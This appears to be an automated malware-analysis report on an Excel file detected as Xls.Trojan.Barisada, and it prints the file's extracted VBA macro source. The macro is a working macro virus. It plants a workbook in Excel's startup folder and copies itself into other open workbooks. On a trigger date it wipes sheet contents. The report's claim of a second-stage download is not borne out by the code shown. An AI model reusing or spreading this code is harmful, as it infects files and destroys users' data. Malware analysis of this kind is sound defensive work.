MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with multiple signatures, including Xls.Trojan.Barisada-9 and Xls.Trojan.Barisada-2. It contains VBA macros that attempt to download and execute a second-stage payload. The macro code also includes logic for displaying a message box with a question, potentially as part of a lure or to check for user interaction before proceeding with malicious actions.
Heuristics 2
-
ClamAV: Xls.Trojan.Barisada-9 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Barisada-9
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12521 bytes |
SHA-256: 1ce88ee2647395323a77938cb225a61598b23139432a0a8407bca439ee5abe6d |
|||
|
Detection
ClamAV:
Xls.Trojan.Barisada-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)
On Error Resume Next
Falsflag = e
myfile = Dir(Application.StartupPath & "\hjb.xls")
If myfile <> "hjb.xls" Then
Application.ScreenUpdating = False
Workbooks.Add.SaveAs Filename:=Application.StartupPath & "\hjb.xls", FileFormat:=xlNormal, addtomru:=False
End If
For i = 1 To Workbooks.Count
eline = Workbooks(i).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.CountOfLines
If eline <> o Then vcode = Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.Lines(1, eline)
For j = 1 To Workbooks(i).VBProject.VBComponents.Count
vcount = Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.CountOfLines
If vcount = 0 Then Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.AddFromString (vcode)
Next j: Next i
If myfile <> "hjb.xls" Then Workbooks("hjb.xls").Close savechanges:=True
dmonth = Month(Now): dday = Day(Now): dhour = Hour(Now)
If dmonth = 4 And dday = 24 And dhour = 14 Then flag = True
If flag = True Then
v1 = MsgBox("Question : What is the Sword Which Karl Styner(=Gray Scavenger) used? " & vbCr & _
"Answer : Barisada ", vbYesNo, "1st Qusetion")
If v1 = vbNo Then MsgBox "Good! You're Authorized now!!", vbOKOnly, "Right Answer"
If v1 = vbYes Then
MsgBox "I wil give you one more Chance. Be careful!!", vbOKOnly + vbCritical, "Wrong Answer"
v2 = MsgBox("Summoning Xavier is the Ultimate Magic. Right?", vbYesNo, "Wrong Answer may cause The Serious Problem!")
If v2 = vbYes Then MsgBox "ok , i will forgive you", vbOKOnly, "Right Answer"
If v2 = vbNo Then
MsgBox "Wrong Answer, Your file will be deleted!", vbOKOnly + vbCritical, "You shall Die"
For i = 1 To Workbooks.Count
For j = 1 To Workbooks(i).Sheets.Count
Workbooks(i).Sheets(i).Cells.Select
Selection.Clear
Next j: Next i:
End If
End If
End If
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)
On Error Resume Next
Falsflag = e
myfile = Dir(Application.StartupPath & "\hjb.xls")
If myfile <> "hjb.xls" Then
Application.ScreenUpdating = False
Workbooks.Add.SaveAs Filename:=Application.StartupPath & "\hjb.xls", FileFormat:=xlNormal, addtomru:=False
End If
For i = 1 To Workbooks.Count
eline = Workbooks(i).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.CountOfLines
If eline <> o Then vcode = Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.Lines(1, eline)
For j = 1 To Workbooks(i).VBProject.VBComponents.Count
vcount = Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.CountOfLines
If vcount = 0 Then Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.AddFromString (vcode)
Next j: Next i
If myfile <> "hjb.xls" Then Workbooks("hjb.xls").Close savechanges:=True
dmonth = Month(Now): dday = Day(Now): dhour = Hour(Now)
If dmonth = 4 And dday = 24 And dhour = 14 Then flag = True
If flag = True Then
v1 = MsgBox("Question : What is the Sword Which Karl Styner(=Gray Scavenger) used? " & vbCr & _
"Answer : Barisada ", vbYesNo, "1st Qusetion")
If v1 = vbNo Then MsgBox "Good! You're Authorized
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.